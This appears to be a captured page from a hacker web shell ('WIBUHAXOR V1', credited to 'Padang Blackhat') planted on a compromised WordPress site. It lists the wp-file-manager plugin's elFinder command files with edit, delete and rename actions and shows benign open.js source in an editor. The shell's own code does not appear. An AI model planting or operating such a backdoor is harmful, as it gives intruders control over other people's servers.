-
WIBUHAX0R1337
-
/
home
/
coludnqa
/
xtrasolutionsco.com
/
wp-content
/
plugins
/
wp-file-manager
/
lib
/
js
/
commands
/
[ Home ]
Create Folder
Create File
Nama File / Folder
Size
Action
archive.js
2.471KB
Edit File
Delete File
Rename
back.js
0.5KB
Edit File
Delete File
Rename
chmod.js
9.366KB
Edit File
Delete File
Rename
colwidth.js
0.469KB
Edit File
Delete File
Rename
copy.js
0.963KB
Edit File
Delete File
Rename
cut.js
1.119KB
Edit File
Delete File
Rename
download.js
16.606KB
Edit File
Delete File
Rename
duplicate.js
1.359KB
Edit File
Delete File
Rename
edit.js
34.482KB
Edit File
Delete File
Rename
empty.js
3.315KB
Edit File
Delete File
Rename
extract.js
5.177KB
Edit File
Delete File
Rename
forward.js
0.497KB
Edit File
Delete File
Rename
fullscreen.js
1.049KB
Edit File
Delete File
Rename
getfile.js
4.065KB
Edit File
Delete File
Rename
help.js
14.206KB
Edit File
Delete File
Rename
hidden.js
0.27KB
Edit File
Delete File
Rename
hide.js
4.263KB
Edit File
Delete File
Rename
home.js
0.516KB
Edit File
Delete File
Rename
info.js
13.132KB
Edit File
Delete File
Rename
mkdir.js
2.514KB
Edit File
Delete File
Rename
mkfile.js
1.636KB
Edit File
Delete File
Rename
netmount.js
10.431KB
Edit File
Delete File
Rename
open.js
6.784KB
Edit File
Delete File
Rename
opendir.js
0.865KB
Edit File
Delete File
Rename
opennew.js
1.213KB
Edit File
Delete File
Rename
paste.js
10.167KB
Edit File
Delete File
Rename
places.js
0.755KB
Edit File
Delete File
Rename
preference.js
21.367KB
Edit File
Delete File
Rename
quicklook.js
23.872KB
Edit File
Delete File
Rename
quicklook.plugins.js
58.508KB
Edit File
Delete File
Rename
reload.js
1.859KB
Edit File
Delete File
Rename
rename.js
15.917KB
Edit File
Delete File
Rename
resize.js
52.169KB
Edit File
Delete File
Rename
restore.js
7.446KB
Edit File
Delete File
Rename
rm.js
14.416KB
Edit File
Delete File
Rename
search.js
4.014KB
Edit File
Delete File
Rename
selectall.js
0.592KB
Edit File
Delete File
Rename
selectinvert.js
0.46KB
Edit File
Delete File
Rename
selectnone.js
0.518KB
Edit File
Delete File
Rename
sort.js
4.317KB
Edit File
Delete File
Rename
undo.js
3.616KB
Edit File
Delete File
Rename
up.js
0.693KB
Edit File
Delete File
Rename
upload.js
12.398KB
Edit File
Delete File
Rename
view.js
2.801KB
Edit File
Delete File
Rename
/** * @class elFinder command "open" * Enter folder or open files in new windows * * @author Dmitry (dio) Levashov **/ (elFinder.prototype.commands.open = function() { "use strict"; var fm = this.fm, self = this; this.alwaysEnabled = true; this.noChangeDirOnRemovedCwd = true; this._handlers = { dblclick : function(e) { var arg = e.data && e.data.file? [ e.data.file ]: void(0); if (self.getstate(arg) === 0) { e.preventDefault(); fm.exec('open', arg); } }, 'select enable disable reload' : function(e) { this.update(e.type == 'disable' ? -1 : void(0)); } }; this.shortcuts = [{ pattern : 'ctrl+down numpad_enter'+(fm.OS != 'mac' && ' enter') }]; this.getstate = function(select) { var sel = this.files(select), cnt = sel.length, filter = function(files) { var fres = true; return jQuery.grep(files, function(file) { fres = fres && file.mime == 'directory' || ! file.read ? false : true; return fres; }); }; return cnt == 1 ? (sel[0].read ? 0 : -1) : (cnt && !fm.UA.Mobile) ? (jQuery.grep(sel, function(file) { return file.mime == 'directory' || ! file.read ? false : true;}).length == cnt ? 0 : -1) : -1; }; this.exec = function(hashes, cOpts) { var dfrd = jQuery.Deferred().fail(function(error) { error && fm.error(error); }), files = this.files(hashes), cnt = files.length, thash = (typeof cOpts == 'object')? cOpts.thash : false, opts = this.options, into = opts.into || 'window', file, url, s, w, imgW, imgH, winW, winH, reg, link, html5dl, inline, selAct, cmd; if (!cnt && !thash) { { return dfrd.reject(); } } // open folder if (thash || (cnt == 1 && (file = files[0]) && file.mime == 'directory')) { if (!thash && file && !file.read) { return dfrd.reject(['errOpen', file.name, 'errPerm']); } else { if (fm.keyState.ctrlKey && (fm.keyState.shiftKey || typeof fm.options.getFileCallback !== 'function')) { if (fm.getCommand('opennew')) { return fm.exec('opennew', [thash? thash : file.hash]); } } return fm.request({ data : {cmd : 'open', target : thash || file.hash}, notify : {type : 'open', cnt : 1, hideCnt : true}, syncOnFail : true, lazy : false }); } } files = jQuery.grep(files, function(file) { return file.mime != 'directory' ? true : false; }); // nothing to open or files and folders selected - do nothing if (cnt != files.length) { return dfrd.reject(); } var doOpen = function() { var openCB = function(url) { var link = jQuery('<a rel="noopener">').hide().appendTo(jQuery('body')); if (fm.UA.Mobile || !inline) { if (html5dl) { if (!inline) { link.attr('download', file.name); } else { link.attr('target', '_blank'); } link.attr('href', url).get(0).click(); } else { wnd = window.open(url); if (!wnd) { return dfrd.reject('errPopup'); } } } else { getOnly = (typeof opts.method === 'string' && opts.method.toLowerCase() === 'get'); if (!getOnly && url.indexOf(fm.options.url) === 0 && fm.customData && Object.keys(fm.customData).length // Since playback by POST request can not be done in Chrome, media allows GET request && !file.mime.match(/^(?:video|audio)/) ) { // Send request as 'POST' method to hide custom data at location bar url = ''; } if (into === 'window') { // set window size for image if set imgW = winW = Math.round(2 * screen.availWidth / 3); imgH = winH = Math.round(2 * screen.availHeight / 3); if (parseInt(file.width) && parseInt(file.height)) { imgW = parseInt(file.width); imgH = parseInt(file.height); } else if (file.dim) { s = file.dim.split('x'); imgW = parseInt(s[0]); imgH = parseInt(s[1]); } if (winW >= imgW && winH >= imgH) { winW = imgW; winH = imgH; } else { if ((imgW - winW) > (imgH - winH)) { winH = Math.round(imgH * (winW / imgW)); } else { winW = Math.round(imgW * (winH / imgH)); } } w = 'width='+winW+',height='+winH; wnd = window.open(url, target, w + ',top=50,left=50,scrollbars=yes,resizable=yes,titlebar=no'); } else { if (into === 'tabs') { target = file.hash; } wnd = window.open('about:blank', target); } if (!wnd) { return dfrd.reject('errPopup'); } if (url === '') { var form = document.createElement("form"); form.action = fm.options.url; form.method = 'POST'; form.target = target; form.style.display = 'none'; var params = Object.assign({}, fm.customData, { cmd: 'file', target: file.hash, _t: file.ts || parseInt(+new Date()/1000) }); jQuery.each(params, function(key, val) { var input = document.createElement("input"); input.name = key; input.value = val; form.appendChild(input); }); document.body.appendChild(form); form.submit(); } else if (into !== 'window') { wnd.location = url; } jQuery(wnd).trigger('focus'); } link.remove(); }, wnd, target, getOnly; try { reg = new RegExp(fm.option('dispInlineRegex'), 'i'); } catch(e) { reg = false; } // open files html5dl = (typeof jQuery('<a>').get(0).download === 'string'); cnt = files.length; while (cnt--) { target = 'elf_open_window'; file = files[cnt]; if (!file.read) { return dfrd.reject(['errOpen', file.name, 'errPerm']); } inline = (reg && file.mime.match(reg)); fm.openUrl(file.hash, !inline, openCB); } return dfrd.resolve(hashes); }; if (cnt > 1) { fm.confirm({ title: 'openMulti', text : ['openMultiConfirm', cnt + ''], accept : { label : 'cmdopen', callback : function() { doOpen(); } }, cancel : { label : 'btnCancel', callback : function() { dfrd.reject(); } }, buttons : (fm.getCommand('zipdl') && fm.isCommandEnabled('zipdl', fm.cwd().hash))? [ { label : 'cmddownload', callback : function() { fm.exec('download', hashes); dfrd.reject(); } } ] : [] }); } else { selAct = fm.storage('selectAction') || opts.selectAction; if (selAct) { jQuery.each(selAct.split('/'), function() { var cmdName = this.valueOf(); if (cmdName !== 'open' && (cmd = fm.getCommand(cmdName)) && cmd.enabled()) { return false; } cmd = null; }); if (cmd) { return fm.exec(cmd.name); } } doOpen(); } return dfrd; }; }).prototype = { forceLoad : true }; // this is required command
Save!!!
© 2022 - 2023 WIBUHAXOR V1 By Lutfifakee || Padang Blackhat